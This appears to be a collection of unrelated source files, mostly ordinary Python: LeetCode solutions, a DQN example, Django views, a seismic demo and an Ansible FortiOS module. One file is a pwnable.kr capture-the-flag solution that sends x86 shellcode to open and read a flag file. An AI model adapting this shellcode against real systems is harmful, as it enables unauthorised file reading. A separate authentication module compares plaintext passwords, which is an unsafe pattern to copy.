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df5d0f9cd9fbd10df401ae6829425f78b699d912 | e8c303ca35a1f6b231193518fa5924d9a4cff0f0 | /frog-orchestrator/orchestrator_core/userAuthentication.py | aa0f5c430bbcb63000093d1e9dc37992329fae84 | []
| no_license | netgroup-polito/frog3 | 69187fa716fe4f93e0abea2e0df09f0dca2a721b | 3ad63ac25dddd8ba4bd9ab958f3c418e513b4ac9 | refs/heads/master | 2021-01-10T07:06:07.598744 | 2016-04-12T16:28:40 | 2016-04-12T16:28:40 | 36,660,818 | 9 | 3 | null | null | null | null | UTF-8 | Python | false | false | 1,558 | py | '''
Created on 18 set 2015
@author: Andrea
'''
from sql.user import User
from orchestrator_core.exception import unauthorizedRequest
class UserData(object):
def __init__(self, usr=None, pwd=None, tnt=None):
self.username = usr
self.password = pwd
self.tenant = tnt
def getUserID(self):
return User().getUser(self.username).id
def getUserData(self, user_id):
user = User().getUserFromID(user_id)
self.username = user.name
self.password =user.password
tenant = User().getTenantName(user.tenant_id)
self.tenant = tenant
class UserAuthentication(object):
def authenticateUserFromRESTRequest(self, request):
username = request.get_header("X-Auth-User")
password = request.get_header("X-Auth-Pass")
tenant = request.get_header("X-Auth-Tenant")
return self.authenticateUserFromCredentials(username, password, tenant)
def authenticateUserFromCredentials(self, username, password, tenant):
if username is None or password is None or tenant is None:
raise unauthorizedRequest('Authentication credentials required')
user = User().getUser(username)
if user.password == password:
tenantName = User().getTenantName(user.tenant_id)
if tenantName == tenant:
userobj = UserData(username, password, tenant)
return userobj
raise unauthorizedRequest('Invalid authentication credentials')
| [
"[email protected]"
]
| |
dab19d4e555500f277957d95c0d1e3041bcaad0e | 3b21cbe5320137a3d8f7da40558294081211f63f | /Chapter12/FrozenDeepQLearning.py | 4910dba92203d7d02671ade946a3825a0a32ecd4 | [
"MIT"
]
| permissive | Evelynatrocks/Python-Machine-Learning-Cookbook-Second-Edition | d06812bba0a32a9bd6e5e8d788769a07d28084cd | 99d8b799dbfe1d9a82f0bcc3648aaeb147b7298f | refs/heads/master | 2023-04-06T20:23:05.384943 | 2021-01-18T12:06:36 | 2021-01-18T12:06:36 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,065 | py | import gym
import numpy as np
from keras.models import Sequential
from keras.layers.core import Dense, Reshape
from keras.layers.embeddings import Embedding
from keras.optimizers import Adam
from rl.agents.dqn import DQNAgent
from rl.policy import BoltzmannQPolicy
from rl.memory import SequentialMemory
ENV_NAME = 'FrozenLake-v0'
env = gym.make(ENV_NAME)
np.random.seed(1)
env.seed(1)
Actions = env.action_space.n
model = Sequential()
model.add(Embedding(16, 4, input_length=1))
model.add(Reshape((4,)))
print(model.summary())
memory = SequentialMemory(limit=10000, window_length=1)
policy = BoltzmannQPolicy()
Dqn = DQNAgent(model=model, nb_actions=Actions,
memory=memory, nb_steps_warmup=500,
target_model_update=1e-2, policy=policy,
enable_double_dqn=False, batch_size=512
)
Dqn.compile(Adam())
Dqn.fit(env, nb_steps=1e5, visualize=False, verbose=1, log_interval=10000)
Dqn.save_weights('dqn_{}_weights.h5f'.format(ENV_NAME), overwrite=True)
Dqn.test(env, nb_episodes=20, visualize=False)
| [
"[email protected]"
]
| |
04b413200d5c5c14c693f31cdea71096cfa5b87c | 8dde6f201657946ad0cfeacab41831f681e6bc6f | /617_merger_two_binary_tree.py | 29f9c56efed4c228638367c559ef7b02757f5f57 | []
| no_license | peraktong/LEETCODE_Jason | c5d4a524ba69b1b089f18ce4a53dc8f50ccbb88c | 06961cc468211b9692cd7a889ee38d1cd4e1d11e | refs/heads/master | 2022-04-12T11:34:38.738731 | 2020-04-07T21:17:04 | 2020-04-07T21:17:04 | 219,398,022 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,511 | py | #Definition for a binary tree node.
class TreeNode:
def __init__(self, x):
self.val = x
self.left = None
self.right = None
class Solution():
def mergeTrees(self, t1, t2):
"""
:type t1: TreeNode
:type t2: TreeNode
:rtype: TreeNode
"""
# 100 pass -95% runtime and 100% space
# Recursive function to traverse the trees
def traverse(node1, node2):
# When both the nodes are present, change value to their sum
if node1 and node2:
node1.val = node1.val + node2.val
# If both left are present recurse, else if node2 only present then replace node1 as node2
if node1.left and node2.left:
traverse(node1.left, node2.left)
elif node2.left:
node1.left = node2.left
# If both right are present recurse, else if node2 only present then replace node1 as node2
if node1.right and node2.right:
traverse(node1.right, node2.right)
elif node2.right:
node1.right = node2.right
# Null check for root node of both tree
if not t1:
return t2
if not t2:
return t1
# Recursive call
traverse(t1, t2)
# Return the root of the first tree
return t1
t1 = TreeNode(x=[1,3,2,5])
t2 = TreeNode(x=[2,1,3,None,4,None,7])
model = Solution()
final = model.mergeTrees(t1=t1,t2=t2)
| [
"[email protected]"
]
| |
60e4c38da404de4ba7dd46169d7c52c288298335 | ff55497043e91b5168b54369f3fd3f400dc9cf22 | /project/osmosis/event/api/views.py | 14fc471a28bddb1ce37cad0dcec068af4eba4872 | []
| no_license | kirami/Appevate | c890329928e2a9f91ded1cde29477c86b58e35ca | ee62eacd66606f3baf308718e5dbc6b7e55ba43b | refs/heads/master | 2022-12-02T00:07:59.448070 | 2020-07-22T01:23:27 | 2020-07-22T01:23:27 | 211,752,576 | 0 | 0 | null | 2022-11-22T05:52:38 | 2019-09-30T01:36:35 | HTML | UTF-8 | Python | false | false | 2,609 | py | from rest_framework import viewsets, permissions
from django.http import Http404
from rest_framework.views import APIView
from rest_framework.response import Response
from rest_framework import status
from rest_framework import generics
from ..models import Event
from .serializers import EventSerializer
from rest_framework.permissions import IsAuthenticated
import logging
logger = logging.getLogger(__name__)
class EventViewSet(viewsets.ModelViewSet):
model = Event
serializer_class = EventSerializer
queryset = Event.objects.all()
'''
def get_permissions(self):
"""
Permissions for the ``User`` endpoints.
- Allow create if the user is not authenticated.
- Allow all if the user is staff.
- Allow all if the user who is making the request is the same
as the object in question.
"""
return (permissions.AllowAny() if self.request.method == 'POST'
else IsStaffOrTargetUser()),
'''
class EventList(generics.ListCreateAPIView):
"""
get:
Return a list of existing Events, filtered by any paramater sent.<br>
Possible Parameters - <br>
   id - Id of the Event you'd like to view<br>
   host - Id of the User who is hosting an Event<br>
   program - Program under which the Event is listed.<br>
   name - Name of the Event you'd like to search for<br>
post:
Create a new Event instance.
"""
serializer_class = EventSerializer
permission_classes = (IsAuthenticated,)
def get_queryset(self):
queryset = Event.objects.all()
host = self.request.query_params.get('host', None)
name = self.request.query_params.get('name', None)
program = self.request.query_params.get('program', None)
item_id = self.request.query_params.get('id', None)
if item_id is not None:
queryset = queryset.filter(id=item_id)
if name is not None:
queryset = queryset.filter(name=name)
if host is not None:
queryset = queryset.filter(host=host)
if program is not None:
queryset = queryset.filter(program=program)
return queryset
class EventDetail(generics.RetrieveUpdateDestroyAPIView):
"""
Get Detail of single Event
put:
Replacing entire Event instance.
patch:
Update an Event instance
delete:
Delete an Event instance
"""
queryset = Event.objects.all()
serializer_class = EventSerializer
permission_classes = (IsAuthenticated,)
| [
"="
]
| = |
9b05835b3205d9de4fd50aa8af20d2fbceef046d | 9743d5fd24822f79c156ad112229e25adb9ed6f6 | /xai/brain/wordbase/verbs/_struggled.py | e5baa8e75aa991db85ea0ac09e2bb191bec47c29 | [
"MIT"
]
| permissive | cash2one/xai | de7adad1758f50dd6786bf0111e71a903f039b64 | e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6 | refs/heads/master | 2021-01-19T12:33:54.964379 | 2017-01-28T02:00:50 | 2017-01-28T02:00:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 252 | py |
from xai.brain.wordbase.verbs._struggle import _STRUGGLE
#calss header
class _STRUGGLED(_STRUGGLE, ):
def __init__(self,):
_STRUGGLE.__init__(self)
self.name = "STRUGGLED"
self.specie = 'verbs'
self.basic = "struggle"
self.jsondata = {}
| [
"[email protected]"
]
| |
bf4267262480d8f9e04bb70a25dc61e4d56cdfe1 | c36d9d70cbb257b2ce9a214bcf38f8091e8fe9b7 | /977_squares_of_a_sorted_array.py | b06d138fadd0a72054f3ac664f5b51dc8b9a84ce | []
| no_license | zdadadaz/coding_practice | 3452e4fc8f4a79cb98d0d4ea06ce0bcae85f96a0 | 5ed070f22f4bc29777ee5cbb01bb9583726d8799 | refs/heads/master | 2021-06-23T17:52:40.149982 | 2021-05-03T22:31:23 | 2021-05-03T22:31:23 | 226,006,763 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 463 | py | class Solution:
def sortedSquares(self, nums: List[int]) -> List[int]:
l = 0
r = len(nums)-1
res = []
while l <= r:
if l == r:
res.append(nums[r]*nums[r])
break
if nums[l]*nums[l] < nums[r]*nums[r]:
res.append(nums[r]*nums[r])
r-=1
else:
res.append(nums[l]*nums[l])
l+=1
return res[::-1] | [
"[email protected]"
]
| |
fed1b0600df776f414b4d2a66a68c13f4e7e15c1 | 8dbf11fe48645d79da06e0c6e9d6a5cc5e3116d5 | /pwnable_kr/asm/myShellcode.py | adddf23bdafcaa8b8825def5d8aa9549a4c91028 | []
| no_license | itaysnir/Learning | e1efb6ab230b3c368214a5867ef03670571df4b7 | a81c351df56699cc3f25618c81f8e04259596fd3 | refs/heads/master | 2021-05-23T09:33:58.382930 | 2021-02-17T19:36:46 | 2021-02-17T19:36:46 | 253,222,982 | 0 | 2 | null | null | null | null | UTF-8 | Python | false | false | 1,868 | py | import pwnlib
import socket
FLAG_NAME = ".////this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong"
IP = "pwnable.kr"
PORT = 9026
CHUNK = 4096
def main():
s = socket.socket()
s.connect ((IP,PORT))
data = s.recv (CHUNK)
print (data)
data = s.recv (CHUNK)
print (data)
reverse_flag_name_chunks = list(map(''.join, zip(*[iter(FLAG_NAME)]*4)))[::-1]
# open syscall
shellcode = ''
shellcode += pwnlib.asm.asm ("xor eax, eax")
shellcode += pwnlib.asm.asm ("push eax") # needed for the string null byte
shellcode += pwnlib.asm.asm ("add eax, 5")
for chunk in reverse_flag_name_chunks:
num = "0x" + ''.join(x.encode('hex') for x in chunk[::-1])
shellcode += pwnlib.asm.asm ("push {}".format(num))
shellcode += pwnlib.asm.asm ("mov ebp, esp")
# shellcode += pwnlib.asm.asm ("xor ecx, ecx")
shellcode += pwnlib.asm.asm ("xor edx, edx")
shellcode += pwnlib.asm.asm ("int 0x80")
# read syscall
shellcode += pwnlib.asm.asm ("xor eax, eax")
shellcode += pwnlib.asm.asm ("add eax, 3")
shellcode += pwnlib.asm.asm ("mov ecx, ebx")
shellcode += pwnlib.asm.asm ("xor ebx, ebx")
shellcode += pwnlib.asm.asm ("add ebx, 3")
shellcode += pwnlib.asm.asm ("xor edx, edx")
shellcode += pwnlib.asm.asm ("mov dl, 0x60")
shellcode += pwnlib.asm.asm ("int 0x80")
# write syscall
shellcode += pwnlib.asm.asm ("xor eax, eax")
shellcode += pwnlib.asm.asm ("add eax, 4")
shellcode += pwnlib.asm.asm ("xor ebx, ebx")
shellcode += pwnlib.asm.asm ("add ebx, 1")
shellcode += pwnlib.asm.asm ("int 0x80")
shellcode += '\n'
print (shellcode)
s.send (shellcode)
data = s.recv (CHUNK)
print (data)
data = s.recv (CHUNK)
print (data)
if __name__ == '__main__':
main() | [
"[email protected]"
]
| |
640729d778883cd226020e47fea25bef8b99c520 | 5730110af5e4f0abe538ed7825ddd62c79bc3704 | /pacu/pacu/api/__init__.py | 5175c837b94da18470240e65eb75f00c9ed2e717 | []
| no_license | jzeitoun/pacu-v2 | bdbb81def96a2d87171ca20b89c878b2f66975e7 | 0ccb254a658263b4fe8c80ea623f860cb7dc1428 | refs/heads/master | 2021-06-03T18:50:50.890399 | 2020-04-27T16:31:59 | 2020-04-27T16:31:59 | 110,889,657 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,680 | py | import sys
from argparse import ArgumentParser, Action
if sys.argv[0] in ['-c', '-m']:
sys.argv[0] = 'python -m %s' % __package__
parser = ArgumentParser(
description = 'PACU v0.0.1',
epilog = "Contact to: Hyungtae Kim <[email protected]>",
)
group = parser.add_argument_group(
title='profiles',
description='''
You can provide a specific set of profiles for essential configurations.
It is strongly recommended to go through
the profile section of the documentation before you use it in production.
Profiles should be passed in prior to specific API.
''')
group.add_argument('--web', metavar='PROFILE',
help='which profile to use for web')
group.add_argument('--db', metavar='PROFILE',
help='which profile to use for db')
group.add_argument('--log', metavar='PROFILE',
help='which profile to use for log')
group.add_argument('--opt', metavar='PROFILE',
help='which profile to use for opt')
subparsers = parser.add_subparsers(
title = 'Available APIs',
dest = 'api',
metavar = 'API',
help = 'Description',
description = '''
You can get additional help by typing one of below commands.
Also, it is possible to override current profile by
passing arguments like `--web.port=12345 --db.echo=false`.
Make sure these extra arguments should come after specific API.
''',
)
def metavars(var, args):
return {
action.dest: getattr(args, action.dest)
for action in parser._actions
if action.metavar==var}
# API registration
# from . import ping
from . import prof
from . import serve
from . import shell
# from . import query
# from . import vstim
| [
"[email protected]"
]
| |
89d41180976614c3296c1f1ce9742f81d479d5cd | acdc8a6dcf131592ef7edb6452ee9da656d47d18 | /src/spv/demoFault2dCrf.py | 68062296649c2e88d4739e0da4f68460c439a60d | []
| no_license | xuewengeophysics/xmw | c359ed745c573507d1923375d806e6e87e3982a2 | 5f36d5f140dcfc0b7da29084c09d46ab96897f3c | refs/heads/master | 2021-01-01T19:44:07.737113 | 2017-07-27T17:56:21 | 2017-07-27T17:56:21 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,065 | py | #############################################################################
"""
Demo of dynamic warping for automatic picking
Author: Xinming Wu, University of Texas at Austin
Version: 2016.06.01
"""
from utils import *
setupForSubset("crf2d")
s1,s2,s3 = getSamplings()
n1,n2,n3 = s1.count,s2.count,s3.count
f1,f2,f3 = s1.getFirst(),s2.getFirst(),s3.getFirst()
d1,d2,d3 = s1.getDelta(),s2.getDelta(),s3.getDelta()
#############################################################################
gxfile = "gx808"
gxfile = "gx3366"
elfile = "el"
fpfile = "fp"
fefile = "fe"
ftfile = "ft"
flfile = "fl"
ptfile = "pt"
fvfile = "fv"
pngDir = getPngDir()
pngDir = None
plotOnly = False
def main(args):
#goFaultLikelihood()
#goLinearity()
#goFaultOrientScan()
goPathVoting()
def goLinearity():
gx = readImage(gxfile)
el = zerofloat(n1,n2)
lof = LocalOrientFilter(16,8)
est = lof.applyForTensors(gx)
dst = DstCoherence(est,30)
dst.setEigenvalues(1,0.01)
dst.applyForLinear(gx,el)
writeImage(elfile,el)
el = pow(el,8)
plot(gx,sub(1,el),cmin=0.6,cmax=1.0,cmap=jetRamp(1.0),label="Linearity")
def goFaultOrientScan():
gx = readImage(gxfile)
el = readImage(elfile)
fos = FaultOrientScanner2(8)
fe,fp = fos.scanDip(65,80,el)
ft,pt = fos.thin([fe,fp])
writeImage(ftfile,ft)
writeImage(ptfile,pt)
def goPathVoting():
gx = readImage(gxfile)
if not plotOnly:
ft = readImage(ftfile)
pt = readImage(ptfile)
osv = OptimalPathVoter(20,60)
osv.setStrainMax(0.2)
osv.setSurfaceSmoothing(2)
fv = osv.applyVoting(4,0.7,ft,pt)
writeImage(fvfile,fv)
else:
fv = readImage(fvfile)
plot(gx,cmin=-2,cmax=2,label="Amplitude")
plot(gx,fv,cmin=0.6,cmax=1.0,cmap=jetRamp(1.0),label="Path voting")
def goFaultLikelihood():
print "goFaultLikelihood ..."
gx = readImage(gxfile)
gx = FaultScanner2.taper(10,0,gx)
fs = FaultScanner2(30)
sig1,sig2,smooth=16.0,2.0,4.0
fl,ft = fs.scan(65,80,sig1,sig2,smooth,gx)
flt,ftt = fs.thin([fl,ft])
print "fl min =",min(fl)," max =",max(fl)
print "ft min =",min(ft)," max =",max(ft)
plot(gx,flt,cmin=0.6,cmax=1,cmap=jetRamp(1.0),neareast=True,
label="Fault Likelihood")
'''
plot2(s1,s2,gx,g=abs(ft),cmin=minTheta,cmax=maxTheta,cmap=jetFill(1.0),
label="Fault dip (degrees)",png="ft")
'''
def gain(x):
n2 = len(x)
n1 = len(x[0])
g = mul(x,x)
ref = RecursiveExponentialFilter(20.0)
ref.apply(g,g)
y = zerofloat(n1,n2)
div(x,sqrt(g),y)
return y
def smooth(sig,u):
v = copy(u)
rgf = RecursiveGaussianFilterP(sig)
rgf.apply0(u,v)
return v
def smooth2(sig1,sig2,u):
v = copy(u)
rgf1 = RecursiveGaussianFilterP(sig1)
rgf2 = RecursiveGaussianFilterP(sig2)
rgf1.apply0X(u,v)
rgf2.applyX0(v,v)
return v
def normalize(e):
emin = min(e)
emax = max(e)
return mul(sub(e,emin),1.0/(emax-emin))
def etran(e):
#return transpose(pow(e,0.25))
return transpose(e)
def dtran(d):
return transpose(d)
def makeSequences():
n = 500
fpeak = 0.125
shift = 2.0/fpeak
#w = Warp1Function.constant(shift,n)
w = WarpFunction1.sinusoid(shift,n)
#f = makeCosine(fpeak,n)
f = makeRandomEvents(n,seed=seed);
g = w.warp(f)
f = addRickerWavelet(fpeak,f)
g = addRickerWavelet(fpeak,g)
f = addNoise(nrms,fpeak,f,seed=10*seed+1)
g = addNoise(nrms,fpeak,g,seed=10*seed+2)
s = zerofloat(n)
for i in range(n):
s[i] = w.ux(i)
return f,g,s
def makeCosine(freq,n):
return cos(mul(2.0*PI*freq,rampfloat(0.0,1.0,n)))
def makeRandomEvents(n,seed=0):
if seed!=0:
r = Random(seed)
else:
r = Random()
return pow(mul(2.0,sub(randfloat(r,n),0.5)),15.0)
def addRickerWavelet(fpeak,f):
n = len(f)
ih = int(3.0/fpeak)
nh = 1+2*ih
h = zerofloat(nh)
for jh in range(nh):
h[jh] = ricker(fpeak,jh-ih)
g = zerofloat(n)
Conv.conv(nh,-ih,h,n,0,f,n,0,g)
return g
def ricker(fpeak,time):
x = PI*fpeak*time
return (1.0-2.0*x*x)*exp(-x*x)
def addNoise(nrms,fpeak,f,seed=0):
n = len(f)
if seed!=0:
r = Random(seed)
else:
r = Random()
nrms *= max(abs(f))
g = mul(2.0,sub(randfloat(r,n),0.5))
g = addRickerWavelet(fpeak,g)
#rgf = RecursiveGaussianFilter(3.0)
#rgf.apply1(g,g)
frms = sqrt(sum(mul(f,f))/n)
grms = sqrt(sum(mul(g,g))/n)
g = mul(g,nrms*frms/grms)
return add(f,g)
#############################################################################
# plotting
gray = ColorMap.GRAY
jet = ColorMap.JET
backgroundColor = Color(0xfd,0xfe,0xff) # easy to make transparent
def jetFill(alpha):
return ColorMap.setAlpha(ColorMap.JET,alpha)
def jetFillExceptMin(alpha):
a = fillfloat(alpha,256)
a[0] = 0.0
return ColorMap.setAlpha(ColorMap.JET,a)
def bwrNotch(alpha):
a = zerofloat(256)
for i in range(len(a)):
if i<128:
a[i] = alpha*(128.0-i)/128.0
else:
a[i] = alpha*(i-127.0)/128.0
return ColorMap.setAlpha(ColorMap.BLUE_WHITE_RED,a)
def bwrFillExceptMin(alpha):
a = fillfloat(alpha,256)
a[0] = 0.0
return ColorMap.setAlpha(ColorMap.BLUE_WHITE_RED,a)
def jetRamp(alpha):
return ColorMap.setAlpha(ColorMap.JET,rampfloat(0.0,alpha/256,256))
def bwrRamp(alpha):
return ColorMap.setAlpha(ColorMap.BLUE_WHITE_RED,rampfloat(0.0,alpha/256,256))
def grayRamp(alpha):
return ColorMap.setAlpha(ColorMap.GRAY,rampfloat(0.0,alpha/256,256))
def plot(f,g=None,ps=None,t=None,cmap=None,cmin=None,cmax=None,cint=None,
label=None,neareast=False,png=None):
orientation = PlotPanel.Orientation.X1DOWN_X2RIGHT;
n1,n2=len(f[0]),len(f)
s1,s2=Sampling(n1),Sampling(n2)
panel = PlotPanel(1,1,orientation)#,PlotPanel.AxesPlacement.NONE)
panel.setVInterval(50)
panel.setHInterval(50)
panel.setHLabel("Inline (traces)")
panel.setVLabel("Depth (samples)")
pxv = panel.addPixels(0,0,s1,s2,f);
pxv.setColorModel(ColorMap.GRAY)
pxv.setInterpolation(PixelsView.Interpolation.LINEAR)
if g:
pxv.setClips(-2,2)
else:
if cmin and cmax:
pxv.setClips(cmin,cmax)
if g:
pv = panel.addPixels(s1,s2,g)
if neareast:
pv.setInterpolation(PixelsView.Interpolation.NEAREST)
else:
pv.setInterpolation(PixelsView.Interpolation.LINEAR)
pv.setColorModel(cmap)
if cmin and cmax:
pv.setClips(cmin,cmax)
if ps:
uv = panel.addPoints(0,0,ps[0],ps[1])
uv.setLineColor(Color.YELLOW)
uv.setLineWidth(2)
if label:
panel.addColorBar(label)
panel.setColorBarWidthMinimum(55)
moc = panel.getMosaic();
frame = PlotFrame(panel);
frame.setDefaultCloseOperation(PlotFrame.EXIT_ON_CLOSE);
#frame.setTitle("normal vectors")
frame.setVisible(True);
#frame.setSize(1400,700)
frame.setSize(round(n2*1.8),round(n1*2.0))
frame.setFontSize(12)
if pngDir and png:
frame.paintToPng(720,3.333,pngDir+png+".png")
#############################################################################
# Run the function main on the Swing thread
import sys
class _RunMain(Runnable):
def __init__(self,main):
self.main = main
def run(self):
self.main(sys.argv)
def run(main):
SwingUtilities.invokeLater(_RunMain(main))
run(main)
| [
"[email protected]"
]
| |
90632c12ee018323d838f0314ad1509f5b1b1450 | ac8ffabf4d7339c5466e53dafc3f7e87697f08eb | /python_solutions/1269.number_of_ways_to_stay_in_the_same_place_after_some_steps.py | 726086e2ad3c752a2b74ee77af09767afc7d3401 | []
| no_license | h4hany/leetcode | 4cbf23ea7c5b5ecfd26aef61bfc109741f881591 | 9e4f6f1a2830bd9aab1bba374c98f0464825d435 | refs/heads/master | 2023-01-09T17:39:06.212421 | 2020-11-12T07:26:39 | 2020-11-12T07:26:39 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,581 | py | # https://leetcode.com/problems/number-of-ways-to-stay-in-the-same-place-after-some-steps
# Hard (Difficulty)
# You have a pointer at index 0 in an array of size arrLen. At each step, you can move 1 position to the left, 1 position to the rightย in the array or stay in the same placeย (The pointer should not be placed outside the array at any time).
# Given two integersย steps and arrLen, return the number ofย ways such that your pointer still at index 0 after exactly stepsย steps.
# Since the answerย may be too large,ย return it moduloย 10^9 + 7.
# ย
# Example 1:
# Example 2:
# Example 3:
# ย
# Constraints:
# Input: steps = 3, arrLen = 2
# Output: 4
# Explanation: There are 4 differents ways to stay at index 0 after 3 steps.
# Right, Left, Stay
# Stay, Right, Left
# Right, Stay, Left
# Stay, Stay, Stay
#
# Input: steps = 2, arrLen = 4
# Output: 2
# Explanation: There are 2 differents ways to stay at index 0 after 2 steps
# Right, Left
# Stay, Stay
#
# Input: steps = 4, arrLen = 2
# Output: 8
#
# xxxxxxxxxx
# class Solution {
# public:
# ย ย int numWays(int steps, int arrLen) {
# ย ย ย ย
# ย }
# };
class Solution:
def numWays(self, steps: int, arrLen: int) -> int:
sz = min(steps // 2 + 1, arrLen) + 2
pre, cur = [0] * sz, [0] * sz
pre[1] = 1
while steps > 0:
for i in range(1, sz - 1):
cur[i] = (pre[i] + pre[i-1] + pre[i+1]) % 1000000007
pre, cur = cur, pre
steps -= 1
return pre[1]
print(Solution().numWays(4, 2))
| [
"[email protected]"
]
| |
0172e314069385caba90b50675f815799696c742 | e6dab5aa1754ff13755a1f74a28a201681ab7e1c | /.parts/lib/python2.7/hotshot/log.py | e86c8b2519f959f123ad6f9f4bab8b88c486dd74 | []
| no_license | ronkagan/Euler_1 | 67679203a9510147320f7c6513eefd391630703e | 022633cc298475c4f3fd0c6e2bde4f4728713995 | refs/heads/master | 2021-01-06T20:45:52.901025 | 2014-09-06T22:34:16 | 2014-09-06T22:34:16 | 23,744,842 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 71 | py | /home/action/.parts/packages/python2/2.7.6/lib/python2.7/hotshot/log.py | [
"[email protected]"
]
| |
854ca1b46498b6117d9f373caa9b6aa1588e13d0 | fa93e53a9eee6cb476b8998d62067fce2fbcea13 | /build/pmb2_gazebo/catkin_generated/pkg.installspace.context.pc.py | c75e0ff2d2813071cbaee70567d2107aebd6d308 | []
| no_license | oyetripathi/ROS_conclusion_project | 2947ee2f575ddf05480dabc69cf8af3c2df53f73 | 01e71350437d57d8112b6cec298f89fc8291fb5f | refs/heads/master | 2023-06-30T00:38:29.711137 | 2021-08-05T09:17:54 | 2021-08-05T09:17:54 | 392,716,311 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 384 | py | # generated from catkin/cmake/template/pkg.context.pc.in
CATKIN_PACKAGE_PREFIX = ""
PROJECT_PKG_CONFIG_INCLUDE_DIRS = "".split(';') if "" != "" else []
PROJECT_CATKIN_DEPENDS = "".replace(';', ' ')
PKG_CONFIG_LIBRARIES_WITH_PREFIX = "".split(';') if "" != "" else []
PROJECT_NAME = "pmb2_gazebo"
PROJECT_SPACE_DIR = "/home/sandeepan/tiago_public_ws/install"
PROJECT_VERSION = "1.0.1"
| [
"[email protected]"
]
| |
9a2357b2017589fa88e975403385725ce748aa8e | b103d82e2f99815b684a58cad043c14bbc43c1aa | /exercicios3/ex115.py | 16a0f690f2137e5aaa6f2d96caae48e7c3d6fff5 | [
"MIT"
]
| permissive | LuanGermano/Mundo-3-Curso-em-Video-Python | 6e3ffc5d82de55194cf0cfd318f1f37ff7e04f1f | 1dffda71ff769e4e901b85e4cca5595a5dbb545c | refs/heads/main | 2023-07-09T22:40:13.710547 | 2021-08-04T05:16:22 | 2021-08-04T05:16:22 | 392,557,796 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 217 | py | # Crie um pequeno sistema modularizado que permita cadastrar pessoas pelo seu nome e idade em um arquivo de texto simples.
# O sistema sรณ vai ter 2 opรงรตes, cadastrar uma nova pessoa e listar todas as cadastradas
| [
"[email protected]"
]
| |
bb68a5153695e94775883f6c5d021b72de37eba8 | a50e906945260351f43d57e014081bcdef5b65a4 | /collections/ansible_collections/fortinet/fortios/plugins/modules/fortios_wireless_controller_setting.py | 6cc88021aa0784ff5e1a80cf742278917d170ec1 | []
| no_license | alhamdubello/evpn-ipsec-dci-ansible | 210cb31f4710bb55dc6d2443a590f3eb65545cf5 | 2dcc7c915167cd3b25ef3651f2119d54a18efdff | refs/heads/main | 2023-06-08T10:42:35.939341 | 2021-06-28T09:52:45 | 2021-06-28T09:52:45 | 380,860,067 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 23,160 | py | #!/usr/bin/python
from __future__ import (absolute_import, division, print_function)
# Copyright 2019-2020 Fortinet, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
__metaclass__ = type
ANSIBLE_METADATA = {'status': ['preview'],
'supported_by': 'community',
'metadata_version': '1.1'}
DOCUMENTATION = '''
---
module: fortios_wireless_controller_setting
short_description: VDOM wireless controller configuration in Fortinet's FortiOS and FortiGate.
description:
- This module is able to configure a FortiGate or FortiOS (FOS) device by allowing the
user to set and modify wireless_controller feature and setting category.
Examples include all parameters and values need to be adjusted to datasources before usage.
Tested with FOS v6.4.0
version_added: "2.8"
author:
- Link Zheng (@chillancezen)
- Jie Xue (@JieX19)
- Hongbin Lu (@fgtdev-hblu)
- Frank Shen (@frankshen01)
- Miguel Angel Munoz (@mamunozgonzalez)
- Nicolas Thomas (@thomnico)
notes:
- Legacy fortiosapi has been deprecated, httpapi is the preferred way to run playbooks
requirements:
- ansible>=2.9.0
options:
access_token:
description:
- Token-based authentication.
Generated from GUI of Fortigate.
type: str
required: false
vdom:
description:
- Virtual domain, among those defined previously. A vdom is a
virtual instance of the FortiGate that can be configured and
used as a different unit.
type: str
default: root
wireless_controller_setting:
description:
- VDOM wireless controller configuration.
default: null
type: dict
suboptions:
account_id:
description:
- FortiCloud customer account ID.
type: str
country:
description:
- Country or region in which the FortiGate is located. The country determines the 802.11 bands and channels that are available.
type: str
choices:
- NA
- AL
- DZ
- AO
- AR
- AM
- AU
- AT
- AZ
- BS
- BH
- BD
- BB
- BY
- BE
- BZ
- BO
- BA
- BR
- BN
- BG
- KH
- CF
- CL
- CN
- CO
- CR
- HR
- CY
- CZ
- DK
- DO
- EC
- EG
- SV
- EE
- FI
- FR
- GE
- DE
- GR
- GL
- GD
- GU
- GT
- HT
- HN
- HK
- HU
- IS
- IN
- ID
- IR
- IE
- IL
- IT
- JM
- JO
- KZ
- KE
- KP
- KR
- KW
- LV
- LB
- LI
- LT
- LU
- MO
- MK
- MY
- MT
- MX
- MC
- MA
- MZ
- MM
- NP
- NL
- AN
- AW
- NZ
- NO
- OM
- PK
- PA
- PG
- PY
- PE
- PH
- PL
- PT
- PR
- QA
- RO
- RU
- RW
- SA
- RS
- ME
- SG
- SK
- SI
- ZA
- ES
- LK
- SE
- SD
- CH
- SY
- TW
- TZ
- TH
- TT
- TN
- TR
- AE
- UA
- GB
- US
- PS
- UY
- UZ
- VE
- VN
- YE
- ZB
- ZW
- JP
- CA
darrp_optimize:
description:
- Time for running Dynamic Automatic Radio Resource Provisioning (DARRP) optimizations (0 - 86400 sec).
type: int
darrp_optimize_schedules:
description:
- Firewall schedules for DARRP running time. DARRP will run periodically based on darrp-optimize within the schedules. Separate multiple
schedule names with a space.
type: list
suboptions:
name:
description:
- Schedule name. Source firewall.schedule.group.name firewall.schedule.recurring.name firewall.schedule.onetime.name.
required: true
type: str
duplicate_ssid:
